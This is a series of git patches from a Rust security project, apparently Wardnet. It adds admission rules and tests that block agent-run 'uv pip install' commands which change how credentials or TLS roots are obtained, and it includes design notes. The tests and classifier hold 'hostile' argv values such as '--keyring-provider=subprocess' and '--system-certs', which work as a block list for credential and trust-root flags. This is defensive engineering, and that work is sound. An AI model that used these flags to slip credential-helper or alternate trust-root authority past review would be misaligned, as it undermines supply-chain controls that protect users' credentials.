unknown_non_disabled_uv_keyring_provider_fails_closed() { let (policy, mut hostile) = approved_uv_install(); - hostile - .argv - .push("--keyring-provider=import".to_string()); + hostile.argv.push("--keyring-provider=import".to_string()); assert_alternate_trust_root_block(&policy, &hostile); } From 6eb93bcfe5596bf83226c5330966d4e975bcb0af Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 09:21:06 +0900 Subject: [PATCH 360/702] style(security): rustfmt keyring provider classifier --- .../src/pypi_keyring_provider_authority.rs | 35 ++++++++++--------- 1 file changed, 18 insertions(+), 17 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_keyring_provider_authority.rs b/crates/agent-artifact-admission/src/pypi_keyring_provider_authority.rs index 3d192262..ffe29ddf 100644 --- a/crates/agent-artifact-admission/src/pypi_keyring_provider_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_keyring_provider_authority.rs @@ -7,24 +7,25 @@ pub(crate) fn requests_unapproved_pypi_keyring_provider_authority(intent: &Insta }; let arguments = &intent.argv[1..]; - let (provider_arguments, pip_compatible_abbreviation, import_expands_authority) = match executable { - "pip" | "pip3" - if arguments - .first() - .is_some_and(|argument| argument == "install") => - { - (&arguments[1..], true, true) - } - "uv" - if arguments.first().is_some_and(|argument| argument == "pip") - && arguments - .get(1) + let (provider_arguments, pip_compatible_abbreviation, import_expands_authority) = + match executable { + "pip" | "pip3" + if arguments + .first() .is_some_and(|argument| argument == "install") => - { - (&arguments[2..], false, false) - } - _ => return false, - }; + { + (&arguments[1..], true, true) + } + "uv" + if arguments.first().is_some_and(|argument| argument == "pip") + && arguments + .get(1) + .is_some_and(|argument| argument == "install") => + { + (&arguments[2..], false, false) + } + _ => return false, + }; provider_arguments .iter() From 26735994578ef82c385898eeb6562407997b5526 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 09:35:13 +0900 Subject: [PATCH 361/702] style(security): apply exact rustfmt layout --- .../src/pypi_keyring_provider_authority.rs | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_keyring_provider_authority.rs b/crates/agent-artifact-admission/src/pypi_keyring_provider_authority.rs index ffe29ddf..396b77be 100644 --- a/crates/agent-artifact-admission/src/pypi_keyring_provider_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_keyring_provider_authority.rs @@ -16,11 +16,10 @@ pub(crate) fn requests_unapproved_pypi_keyring_provider_authority(intent: &Insta { (&arguments[1..], true, true) } - "uv" - if arguments.first().is_some_and(|argument| argument == "pip") - && arguments - .get(1) - .is_some_and(|argument| argument == "install") => + "uv" if arguments.first().is_some_and(|argument| argument == "pip") + && arguments + .get(1) + .is_some_and(|argument| argument == "install") => { (&arguments[2..], false, false) } From 7f7582fa06db5108de6e22aa33eb9e9470fec815 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 09:35:28 +0900 Subject: [PATCH 362/702] style(security): finish rustfmt exactness --- .../tests/uv_keyring_provider_authority_contract.rs | 11 ++++------- 1 file changed, 4 insertions(+), 7 deletions(-) diff --git a/crates/agent-artifact-admission/tests/uv_keyring_provider_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_keyring_provider_authority_contract.rs index 56bf3df8..f6865fc8 100644 --- a/crates/agent-artifact-admission/tests/uv_keyring_provider_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_keyring_provider_authority_contract.rs @@ -24,10 +24,9 @@ fn approved_uv_install_cannot_delegate_credentials_to_keyring_subprocess() { #[test] fn separate_uv_subprocess_provider_carries_credential_authority_reason() { let (policy, mut hostile) = approved_uv_install(); - hostile.argv.extend([ - "--keyring-provider".to_string(), - "subprocess".to_string(), - ]); + hostile + .argv + .extend(["--keyring-provider".to_string(), "subprocess".to_string()]); assert_alternate_trust_root_block(&policy, &hostile); } @@ -43,9 +42,7 @@ fn unknown_non_disabled_uv_keyring_provider_fails_closed() { #[test] fn explicit_disabled_uv_keyring_provider_preserves_reviewed_baseline() { let (policy, mut intent) = approved_uv_install(); - intent - .argv - .push("--keyring-provider=disabled".to_string()); + intent.argv.push("--keyring-provider=disabled".to_string()); let decision = admission_decision(&policy, &intent); assert_eq!( From 3e8725c87e61e8a667573704b6478f76c503af1e Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 09:43:54 +0900 Subject: [PATCH 363/702] fix(security): fail closed on uv credential providers --- .../src/pypi_keyring_provider_authority.rs | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_keyring_provider_authority.rs b/crates/agent-artifact-admission/src/pypi_keyring_provider_authority.rs index 396b77be..ab6b8427 100644 --- a/crates/agent-artifact-admission/src/pypi_keyring_provider_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_keyring_provider_authority.rs @@ -7,21 +7,21 @@ pub(crate) fn requests_unapproved_pypi_keyring_provider_authority(intent: &Insta }; let arguments = &intent.argv[1..]; - let (provider_arguments, pip_compatible_abbreviation, import_expands_authority) = + let (provider_arguments, pip_compatible_abbreviation, non_disabled_provider_expands_authority) = match executable { "pip" | "pip3" if arguments .first() .is_some_and(|argument| argument == "install") => { - (&arguments[1..], true, true) + (&arguments[1..], true, false) } "uv" if arguments.first().is_some_and(|argument| argument == "pip") && arguments .get(1) .is_some_and(|argument| argument == "install") => { - (&arguments[2..], false, false) + (&arguments[2..], false, true) } _ => return false, }; @@ -42,7 +42,11 @@ pub(crate) fn requests_unapproved_pypi_keyring_provider_authority(intent: &Insta attached_value .or_else(|| provider_arguments.get(index + 1).map(String::as_str)) .is_some_and(|provider| { - provider == "subprocess" || (import_expands_authority && provider == "import") + if non_disabled_provider_expands_authority { + provider != "disabled" + } else { + provider == "subprocess" || provider == "import" + } }) }) } From 0a558835ff20ae88a9d7b023cc9882ec10bfa5fc Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 09:44:18 +0900 Subject: [PATCH 364/702] docs(security): trace uv provider fail-closed repair --- .../uv-keyring-provider-authority.md | 42 ++++++++++++------- 1 file changed, 28 insertions(+), 14 deletions(-) diff --git a/docs/doctoring/uv-keyring-provider-authority.md b/docs/doctoring/uv-keyring-provider-authority.md index 6191cc03..00df5d5a 100644 --- a/docs/doctoring/uv-keyring-provider-authority.md +++ b/docs/doctoring/uv-keyring-provider-authority.md @@ -1,18 +1,22 @@ -# uv subprocess keyring credential authority +# uv keyring provider credential authority Status: Proposed implementation evidence on Draft #287. This note is not protected or released truth until the effective delta reaches protected `main`. ## Decision -Wardnet treats caller-selected `uv pip install --keyring-provider subprocess` as an expansion of credential/trust authority and blocks it before execution with the existing stable `alternate_trust_root` reason. The ordinary uv baseline remains admissible, and explicit `--keyring-provider=disabled` does not expand authority. +Wardnet treats caller-selected `uv pip install --keyring-provider ` as an expansion of credential/trust authority unless the value is exactly `disabled`. The decision blocks before execution with the existing stable `alternate_trust_root` reason. Ordinary uv behavior remains admissible, and explicitly retaining `--keyring-provider=disabled` does not expand authority. + +Astral currently documents only `disabled` and `subprocess`, with keyring authentication disabled by default. Denying other explicit values is a forward-compatible admission rule, not a claim that today's uv parser accepts those values. Wardnet does not bind the installed uv binary/version in this intent; therefore an explicit unknown value cannot be safely treated as permanently inert if a later client release adds a new active credential provider. This decision is deliberately limited to Wardnet's structured installer-intent admission boundary. Wardnet does not execute `keyring`, inspect `PATH`, read credentials, select runtime environment configuration, or authorize network transport. Keyverse remains the credential/identity backend; `quarantine-sandbox-runtime` remains effective runtime/environment and hostile-execution authority; EgressWeave remains executable outbound transport/TLS authority. ## Problem and threat model -Astral's current uv documentation states that keyring authentication is disabled by default and that uv supports only the `subprocess` keyring provider. The subprocess provider invokes the `keyring` command to obtain credentials. Consequently, a caller can keep the reviewed package name/version/registry/hash and dependency cardinality unchanged while adding a new PATH-resolved credential-helper execution dependency through argv. +Astral's current uv documentation states that keyring authentication is disabled by default and that uv currently supports only the `subprocess` provider. The subprocess provider invokes the `keyring` command to obtain credentials. Consequently, a caller can keep the reviewed package name/version/registry/hash and dependency cardinality unchanged while adding a new PATH-resolved credential-helper execution dependency through argv. + +The first repair blocked the currently active `subprocess` literal. Fresh review identified a second-order fail-open: because the Wardnet intent does not attest the uv client version, a future uv release could add another non-disabled provider. An argv value rejected today could then begin discovering credentials under an already-approved Wardnet policy unless the admission contract treats every explicit non-disabled provider as authority-bearing. -For Agent Artifact Admission, that is a material authority change: the reviewed artifact coordinate does not itself authorize the identity, behavior or credential sources of an ambient helper executable. Allowing the selector would let execution-time environment state decide part of authentication outside the reviewed installer intent. +For Agent Artifact Admission, that is a material authority change. The reviewed artifact coordinate does not authorize the identity, behavior or credential sources of ambient helper executables, and admission receipts must not silently gain meaning after client capability evolution. ## Alternatives considered @@ -24,27 +28,37 @@ Rejected. Quarantine and EgressWeave own runtime isolation and transport, but Wa Rejected. PATH resolution, process execution and effective environment inspection belong to the runtime boundary, not the admission policy evaluator. Pulling those capabilities into Wardnet would duplicate quarantine/Keyverse responsibilities and make a deterministic policy decision depend on ambient state. -### Block all `--keyring-provider` values +### Block only today's `subprocess` provider + +Rejected after hostile review. It is sufficient only while upstream's provider set is frozen. Wardnet does not bind that client capability version, so the rule would fail open if another active provider were introduced later. -Rejected. uv's default is disabled, and explicitly retaining `disabled` adds no credential-helper authority. A value-sensitive classifier is narrower and preserves a safe reviewed baseline. +### Block every explicit provider including `disabled` + +Rejected. uv's default is disabled, and explicitly retaining `disabled` adds no credential-helper authority. The narrower invariant is therefore “every explicit non-disabled provider is authority-expanding.” ### Reuse pip-compatible option abbreviation matching for uv Rejected. The existing direct-pip classifier intentionally recognizes pinned pip parser abbreviations. uv's CLI is a different grammar. Wardnet matches the exact uv option name rather than assuming pip abbreviation behavior. -## RED → GREEN evidence +## RED → repair evidence Canonical parent #129 is `341a3e05a614654536431eda8e553585b2533886`. -Test-only #287 head `85b7b55648f29dc45a38dd01134583610fb0952f` changed only `crates/agent-artifact-admission/tests/uv_keyring_provider_authority_contract.rs`; production source remained byte-identical to the parent. Parent CI `34542090175` is terminal success. Child CI `34542208606`, rust job `103087106839`, later acquired hosted `ubuntu-24.04` runner `1001872102`, passed checkout/toolchain/format, then failed in the Test step. Because the only child delta was the new admission contract and the exact parent suite was green, this is the required hosted semantic RED for the uv subprocess-keyring authority gap; Fuzz `34542208653` is terminal success on the test-only head. +Initial test-only #287 head `85b7b55648f29dc45a38dd01134583610fb0952f` changed only `crates/agent-artifact-admission/tests/uv_keyring_provider_authority_contract.rs`; production source remained byte-identical to the parent. Parent CI `34542090175` is terminal success. Child CI `34542208606`, rust job `103087106839`, acquired hosted `ubuntu-24.04`, passed checkout/toolchain/format, then failed in Test because attached `--keyring-provider=subprocess` remained `Allow`. Fuzz `34542208653` is terminal success. This is hosted semantic RED for the original subprocess authority gap. + +Minimum production repair `9ce55e3f999932a041610bb7e67e47f406a4e9a6` extended the existing PyPI keyring-provider classifier to the admitted `uv pip install` command path while preserving direct pip/pip3 abbreviation and `import|subprocess` behavior. Follow-up `fca4c79151c1ae88cf36414e97d63ffd6ac4d0ca` added attached/separate subprocess reason coverage and explicit `disabled` preservation. + +Fresh review then added the future-provider hostile contract in test-only `7121333b2f37eb6a721e730c9c91a1f29dff63c1`: an explicit unknown non-disabled value must fail closed while exact `disabled` remains admissible. Formatter-only successors preserved production semantics until exact `7f7582fa06db5108de6e22aa33eb9e9470fec815` reached hosted CI `34547136579`, rust job `103102105097`, runner `1001873718`. Formatting succeeded; the locked workspace Test step ran. Every preceding suite shown in the job log passed, including the existing direct-pip keyring contract and the three other uv keyring tests. `unknown_non_disabled_uv_keyring_provider_fails_closed` alone failed with `left: Allow`, `right: Block`; Clippy was skipped because Test failed. This is the required hosted semantic RED for forward-compatible provider authority. -The minimum production repair commit `9ce55e3f999932a041610bb7e67e47f406a4e9a6` extends the existing PyPI keyring-provider authority classifier to the admitted `uv pip install` command path. It preserves direct pip/pip3 abbreviation and `import|subprocess` behavior, but uv matches only the exact `--keyring-provider` option and treats only `subprocess` as authority-expanding. Follow-up test commit `fca4c79151c1ae88cf36414e97d63ffd6ac4d0ca` covers attached subprocess, separate-value subprocess reason classification and explicit attached `disabled` preservation. +Minimum causal repair `3e8725c87e61e8a667573704b6478f76c503af1e` changes only the existing classifier predicate: direct pip/pip3 still blocks the same known `import|subprocess` providers, exact uv `--keyring-provider` now treats every value except `disabled` as authority-expanding. It adds no uv parser emulation, PATH lookup, credential access, environment inspection, transport behavior or new bounded context. -Exact-head GREEN must be recorded only after the current `fca4c791...` (or a later causally necessary head) passes hosted formatting, locked workspace tests, strict Clippy, Fuzz and the then-live security/static-analysis gates. Predecessor results do not transfer after head movement. +Exact-head GREEN is not claimed here. It requires a successor exact head containing this repair and this doctoring to pass hosted formatting, locked workspace tests, strict Clippy, Fuzz and the then-live security/static-analysis/review/thread gates. Predecessor results do not transfer after head movement. ## Security properties and limits -- Admission is fail-closed for the argv-visible subprocess provider. +- Admission fails closed for any argv-visible non-disabled uv provider, including future provider values not supported by the current client. +- Exact `disabled` remains the sole explicit no-provider baseline. +- Direct pip/pip3 keyring semantics and pinned abbreviation behavior are unchanged. - The decision uses the existing `alternate_trust_root` reason rather than inventing a parallel credential taxonomy. - Wardnet performs no helper discovery or credential access. - Environment/config forms such as `UV_KEYRING_PROVIDER` remain effective runtime/configuration authority and must be constrained by the canonical runtime boundary; Wardnet does not claim to observe them from this structured argv contract. @@ -52,9 +66,9 @@ Exact-head GREEN must be recorded only after the current `fca4c791...` (or a lat ## Traceability -Astral. (2026). *Compatibility with pip: Registry authentication*. uv. https://docs.astral.sh/uv/pip/compatibility/ +Astral Software, Inc. (2026). *Compatibility with pip: Registry authentication*. uv. https://docs.astral.sh/uv/pip/compatibility/ -Astral. (2025). *HTTP credentials*. uv. https://docs.astral.sh/uv/concepts/authentication/http/ +Astral Software, Inc. (2026). *HTTP credentials*. uv. https://docs.astral.sh/uv/concepts/authentication/http/ National Institute of Standards and Technology. (2024). *Secure software development practices for generative AI and dual-use foundation models: An SSDF community profile* (NIST SP 800-218A). https://doi.org/10.6028/NIST.SP.800-218A @@ -64,4 +78,4 @@ MITRE. (2025). *CWE-15: External control of system or configuration setting*. ht ## Follow-up -After exact hosted GREEN, verify current reviews/threads and base compatibility, then integrate #287 into #129 by ordinary expected-head merge. Reacquire the canonical #129 gates on its new exact head before starting the serialized #285/#286 source lanes. Keep #284 open until the effective delta reaches protected `main`. \ No newline at end of file +Reacquire exact-head hosted GREEN after this repair and doctoring. Then verify current reviews/threads and exact #129 base compatibility before ordinary expected-head integration of #287 into #129. Reacquire canonical #129 gates on its new exact head before starting serialized #285; #286 and #288 follow. Keep #284 open until the effective delta reaches protected `main`. \ No newline at end of file From 4e35ca8d158f8f8a2c8415b4252d3e2e9aa772d4 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 10:05:53 +0900 Subject: [PATCH 365/702] test(security): expose uv system certificate-store authority --- ...em_certificate_store_authority_contract.rs | 88 +++++++++++++++++++ 1 file changed, 88 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/uv_system_certificate_store_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/uv_system_certificate_store_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_system_certificate_store_authority_contract.rs new file mode 100644 index 00000000..1fd61d55 --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_system_certificate_store_authority_contract.rs @@ -0,0 +1,88 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, +}; + +#[test] +fn approved_uv_install_without_system_certificate_override_remains_admissible() { + let (policy, intent) = approved_uv_install(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +#[test] +fn uv_system_certificate_store_cannot_inherit_artifact_approval() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.push("--system-certs".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "caller-selected native certificate-store trust must not inherit approval for the reviewed artifact coordinate" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "system certificate-store authority must carry the stable alternate_trust_root reason: {:?}", + decision.reason_codes + ); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-system-certificate-store-authority".to_string(), + policy_revision: "2026-09-11.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-uv-system-certificate-store-authority".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From 40d7365692aded7430dd6e4f781c40b96ea36a6f Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 10:18:39 +0900 Subject: [PATCH 366/702] fix(security): block uv system certificate-store trust --- crates/agent-artifact-admission/src/policy.rs | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 8d460f90..0144048d 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -524,6 +524,10 @@ fn requests_alternate_trust_root(executable: &str, arguments: &[String]) -> bool && arguments .iter() .any(|argument| argument.starts_with("--config."))) + || (executable == "uv" + && arguments + .iter() + .any(|argument| matches_cli_flag(argument, "--system-certs"))) } fn requests_alternate_install_root(executable: &str, arguments: &[String]) -> bool { From d8c8eca43beaca860fbf42c41a3fa4a724791418 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 10:20:29 +0900 Subject: [PATCH 367/702] docs(security): trace uv system certificate-store authority --- .../uv-system-certificate-store-authority.md | 74 +++++++++++++++++++ 1 file changed, 74 insertions(+) create mode 100644 docs/doctoring/uv-system-certificate-store-authority.md diff --git a/docs/doctoring/uv-system-certificate-store-authority.md b/docs/doctoring/uv-system-certificate-store-authority.md new file mode 100644 index 00000000..ccd3c0c2 --- /dev/null +++ b/docs/doctoring/uv-system-certificate-store-authority.md @@ -0,0 +1,74 @@ +# uv system certificate-store authority + +Status: Proposed implementation evidence on Draft #289. This note is not protected or released truth until the effective delta reaches protected `main`. + +## Decision + +Wardnet treats caller-selected `uv pip install --system-certs` as an expansion of TLS trust authority and blocks it before execution with the existing stable `alternate_trust_root` reason. The reviewed uv install without this selector remains admissible. + +The rule is executable-scoped. `--system-certs` is not added to the package-manager-wide forbidden flag set because the option grammar and meaning are owned by uv. Wardnet classifies only structured argv that is present in the admission intent; it does not infer the `UV_SYSTEM_CERTS` environment setting, enumerate native certificate stores, validate certificates, perform TLS, or make network calls. + +`quarantine-sandbox-runtime` remains the canonical owner of effective runtime/environment/configuration containment. EgressWeave remains the canonical owner of executable outbound transport and TLS enforcement. Wardnet's receipt remains pre-execution admission evidence rather than runtime or transport proof. + +## Problem and threat model + +Astral's current uv CLI documents `--system-certs` for `uv pip install` as selecting the platform native certificate store instead of uv's bundled Mozilla roots. That is a material change in which certification authorities can authenticate the registry/proxy path even when the reviewed package name, version, registry URL, hash, dependency cardinality, and executable remain unchanged. + +Before this repair, the Agent Artifact Admission classifier recognized explicit index, insecure-host, certificate-file, client-certificate, proxy/config and related authority selectors, but did not classify uv's native certificate-store selector. A reviewed artifact could therefore retain the same artifact coordinate while caller-controlled argv changed the effective root-of-trust source. + +This is primarily an authority/configuration-selection defect. CWE-15 is the closest root-cause taxonomy because an external input controls a security-relevant configuration setting. CWE-295 is supporting threat context for why certificate trust configuration is security-sensitive; Wardnet does not claim that selecting a native store is itself proof of improper certificate validation. + +## Alternatives considered + +### Put `--system-certs` in the generic forbidden flag list + +Rejected. That would make a uv-specific parser contract appear package-manager-neutral and could misclassify a future unrelated executable that happens to use the same spelling. The minimum rule is scoped to `executable == "uv"`. + +### Preserve the older `--native-tls` CLI spelling + +Rejected. Fresh current uv CLI documentation exposes `--system-certs`; it does not expose `--native-tls` as a command-line option. The uv settings reference retains `native-tls` only as a deprecated configuration setting in favor of `system-certs`. Wardnet does not invent or permanently preserve removed argv grammar without parser evidence. + +### Inspect `UV_SYSTEM_CERTS` or the host certificate store inside Wardnet + +Rejected. Environment resolution, platform store inspection, process execution and effective runtime configuration belong to the quarantine runtime boundary. Importing them would turn deterministic admission into ambient runtime inspection and duplicate canonical-owner responsibilities. + +### Delegate the argv-visible selector entirely to EgressWeave + +Rejected. EgressWeave owns executable transport enforcement, but Wardnet owns whether the structured install intent itself is admissible. An admission receipt must not state that a reviewed artifact install is allowed when its caller has also selected a different trust authority source. + +## RED → repair evidence + +Canonical parent #129 for this child is `6571224032bf081387426c50932f130922e0e2bc`. + +Test-only #289 head `4e35ca8d158f8f8a2c8415b4252d3e2e9aa772d4` added only `crates/agent-artifact-admission/tests/uv_system_certificate_store_authority_contract.rs`; production policy source remained byte-identical to the parent. Hosted CI `34549284828`, rust job `103108565858`, acquired an Ubuntu 24.04 hosted runner, passed checkout, toolchain setup and `cargo fmt --check`, then ran `cargo test --locked --workspace`. The reviewed uv baseline control passed. The hostile test `uv_system_certificate_store_cannot_inherit_artifact_approval` failed at the admission assertion with `left: Allow`, `right: Block`. Existing suites shown before it, including the four uv keyring-provider contracts, passed. This is semantic RED, not runner, bootstrap or formatting noise. + +Minimum causal repair `40d7365692aded7430dd6e4f781c40b96ea36a6f` changes only `requests_alternate_trust_root`: when the executable is uv, a structured `--system-certs` selector is classified as `alternate_trust_root`. It adds no TLS implementation, environment lookup, native-store inspection, parser emulation or new bounded context. + +Exact-head GREEN is not claimed here. It requires a successor exact head containing this repair, this test and this doctoring to pass the then-live hosted formatting, locked workspace tests, strict Clippy, Fuzz, security/static-analysis, review and thread gates. Predecessor results do not transfer after head movement. + +## Security properties and limits + +- The reviewed uv install remains admissible when no native-store selector is present. +- Structured `uv ... --system-certs` fails closed with the stable `alternate_trust_root` reason. +- The classifier is uv-specific rather than a global spelling blacklist. +- Ambient `UV_SYSTEM_CERTS`, project/user configuration and the actual native store are outside this structured-argv contract and remain runtime/configuration concerns for the canonical quarantine boundary. +- Wardnet does not assert that a native store is malicious or invalid. It asserts that changing the reviewed trust-authority source requires separate authorization. +- The admission receipt is not proof of certificate validation, retrieved artifact bytes, isolation or egress enforcement. + +## Traceability + +Astral Software, Inc. (2026). *Commands: `uv pip install` — `--system-certs`*. uv. https://docs.astral.sh/uv/reference/cli/ + +Astral Software, Inc. (2026). *Settings*. uv. https://docs.astral.sh/uv/reference/settings/ + +National Institute of Standards and Technology. (2025). *Security and privacy controls for information systems and organizations, Release 5.2.0* (NIST SP 800-53 Rev. 5). CM-6 requires security-relevant configuration settings to be established, implemented, and controlled; SC-17 addresses public-key-infrastructure certificates. Release 5.2.0 was finalized August 27, 2025. https://csrc.nist.gov/pubs/sp/800/53/r5/upd1/final + +National Institute of Standards and Technology. (2026). *Security configuration settings*. Risk Management Framework. https://csrc.nist.gov/Projects/risk-management/about-rmf/implement-step/security-configuration-settings + +MITRE. (2026). *CWE-15: External control of system or configuration setting* (CWE 4.20). https://cwe.mitre.org/data/definitions/15.html + +MITRE. (2026). *CWE-295: Improper certificate validation* (CWE 4.20). https://cwe.mitre.org/data/definitions/295.html + +## Follow-up + +Reacquire exact-head hosted GREEN after this doctoring commit. Then verify current reviews/threads and exact #129 base compatibility before ordinary expected-head integration of #289 into #129. Reacquire canonical #129 gates on its new exact head before opening serialized #286; #288 remains behind #286. Keep #285 open until the effective delta reaches protected `main` or is fully inherited by a verified successor. \ No newline at end of file From 5139fdf901998b5881b971e73ba7f78ed2c262e0 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 10:22:32 +0900 Subject: [PATCH 368/702] docs(security): correct uv trust traceability metadata --- .../uv-system-certificate-store-authority.md | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/docs/doctoring/uv-system-certificate-store-authority.md b/docs/doctoring/uv-system-certificate-store-authority.md index ccd3c0c2..5424c382 100644 --- a/docs/doctoring/uv-system-certificate-store-authority.md +++ b/docs/doctoring/uv-system-certificate-store-authority.md @@ -57,18 +57,18 @@ Exact-head GREEN is not claimed here. It requires a successor exact head contain ## Traceability -Astral Software, Inc. (2026). *Commands: `uv pip install` — `--system-certs`*. uv. https://docs.astral.sh/uv/reference/cli/ +Astral Software, Inc. (n.d.). *Commands: uv pip install — --system-certs*. uv. Retrieved September 11, 2026, from https://docs.astral.sh/uv/reference/cli/ -Astral Software, Inc. (2026). *Settings*. uv. https://docs.astral.sh/uv/reference/settings/ +Astral Software, Inc. (n.d.). *Settings*. uv. Retrieved September 11, 2026, from https://docs.astral.sh/uv/reference/settings/ National Institute of Standards and Technology. (2025). *Security and privacy controls for information systems and organizations, Release 5.2.0* (NIST SP 800-53 Rev. 5). CM-6 requires security-relevant configuration settings to be established, implemented, and controlled; SC-17 addresses public-key-infrastructure certificates. Release 5.2.0 was finalized August 27, 2025. https://csrc.nist.gov/pubs/sp/800/53/r5/upd1/final -National Institute of Standards and Technology. (2026). *Security configuration settings*. Risk Management Framework. https://csrc.nist.gov/Projects/risk-management/about-rmf/implement-step/security-configuration-settings +National Institute of Standards and Technology. (2026, July 24). *Security configuration settings*. Risk Management Framework. https://csrc.nist.gov/Projects/risk-management/about-rmf/implement-step/security-configuration-settings -MITRE. (2026). *CWE-15: External control of system or configuration setting* (CWE 4.20). https://cwe.mitre.org/data/definitions/15.html +MITRE. (2026, April 30). *CWE-15: External control of system or configuration setting* (CWE 4.20). https://cwe.mitre.org/data/definitions/15.html -MITRE. (2026). *CWE-295: Improper certificate validation* (CWE 4.20). https://cwe.mitre.org/data/definitions/295.html +MITRE. (2026, April 30). *CWE-295: Improper certificate validation* (CWE 4.20). https://cwe.mitre.org/data/definitions/295.html ## Follow-up -Reacquire exact-head hosted GREEN after this doctoring commit. Then verify current reviews/threads and exact #129 base compatibility before ordinary expected-head integration of #289 into #129. Reacquire canonical #129 gates on its new exact head before opening serialized #286; #288 remains behind #286. Keep #285 open until the effective delta reaches protected `main` or is fully inherited by a verified successor. \ No newline at end of file +Reacquire exact-head hosted GREEN after this doctoring commit. Then verify current reviews/threads and exact #129 base compatibility before ordinary expected-head integration of #289 into #129. Reacquire canonical #129 gates on its new exact head before opening serialized #286; #288 remains behind #286. Keep #285 open until the effective delta reaches protected `main` or is fully inherited by a verified successor. From 5ce9420d002bbfed6a17ac4d9b216104f2361fc1 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 11 Sep 2026 11:06:42 +0900 Subject: [PATCH 369/702] test(security): expose uv reinstall mutation authority --- .../tests/uv_reinstall_authority_contract.rs | 100 ++++++++++++++++++ 1 file changed, 100 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/uv_reinstall_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/uv_reinstall_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_reinstall_authority_contract.rs new file mode 100644 index 00000000..481ff9e8 --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_reinstall_authority_contract.rs @@ -0,0 +1,100 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, +}; + +#[test] +fn approved_uv_install_without_reinstall_authority_remains_admissible() { + let (policy, intent) = approved_uv_install(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +#[test] +fn uv_reinstall_cannot_inherit_artifact_approval() { + assert_reinstall_authority_is_blocked("--reinstall"); +} + +#[test] +fn uv_force_reinstall_alias_cannot_inherit_artifact_approval() { + assert_reinstall_authority_is_blocked("--force-reinstall"); +} + +#[test] +fn uv_reinstall_package_cannot_inherit_artifact_approval() { + assert_reinstall_authority_is_blocked("--reinstall-package=cwl-example"); +} + +fn assert_reinstall_authority_is_blocked(argument: &str) { + let (policy, mut intent) 